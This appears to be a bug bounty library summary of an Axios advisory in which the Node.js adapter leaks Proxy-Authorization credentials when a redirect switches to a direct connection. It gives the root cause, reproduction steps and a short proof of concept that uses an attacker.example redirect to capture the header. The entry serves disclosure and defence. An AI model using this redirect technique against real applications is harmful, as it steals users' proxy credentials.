# Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

Axios Node.js adapter kept stale Proxy-Authorization on redirect to a no-proxy target, leaking authenticated proxy credentials to attacker origin.

- Payout: Research
- Severity: high
- Program: Axios
- Found by: ngocnn97
- Disclosed: 2026-06-04
- CVE: CVE-2026-44486
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-j5f8-grm9-p9fc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-j5f8-grm9-p9fc
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Node.js HTTP adapter (lib/adapters/http.js) with follow-redirects
**Root cause:** setProxy() adds Proxy-Authorization for authenticated proxies but is re-invoked on redirect without clearing the existing header; when the redirect resolves to no proxy, the stale header persists.
**Steps:**
1. Set `HTTP_PROXY=http://user:pass@127.0.0.1:8080` and unset `HTTPS_PROXY`.
2. Call `axios.get('http://attacker.example/start')` with redirects enabled.
3. Attacker endpoint returns `302 Location: https://attacker.example/final`.
4. Redirected HTTPS request resolves to no proxy; stale `Proxy-Authorization: Basic dXNlcjpwYXNz` is sent to attacker HTTPS origin.
**How found:** Code reading of setProxy() and beforeRedirects.proxy in lib/adapters/http.js: noticed redirect re-applies proxy logic but never clears prior Proxy-Authorization when the new request is direct.
**Exploitation:** Attacker controls an HTTP endpoint the victim app requests; returns a 302 to an HTTPS URL that resolves to no proxy (HTTPS_PROXY unset or NO_PROXY match), causing Axios to forward the proxy credential header to the attacker origin.
**Insight:** When a library re-evaluates per-hop config (proxy, auth, host) on redirect, check whether headers set for the previous hop are cleared; protocol downgrade/upgrade between hops (http->https) often flips proxy resolution and strands credentials.

## Proof of concept (copied exactly from the original report)

**Axios request with authenticated HTTP_PROXY and redirect**

```
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');
```

**Attacker 302 redirect to HTTPS target**

```
HTTP/1.1 302 Found
Location: https://attacker.example/final
```

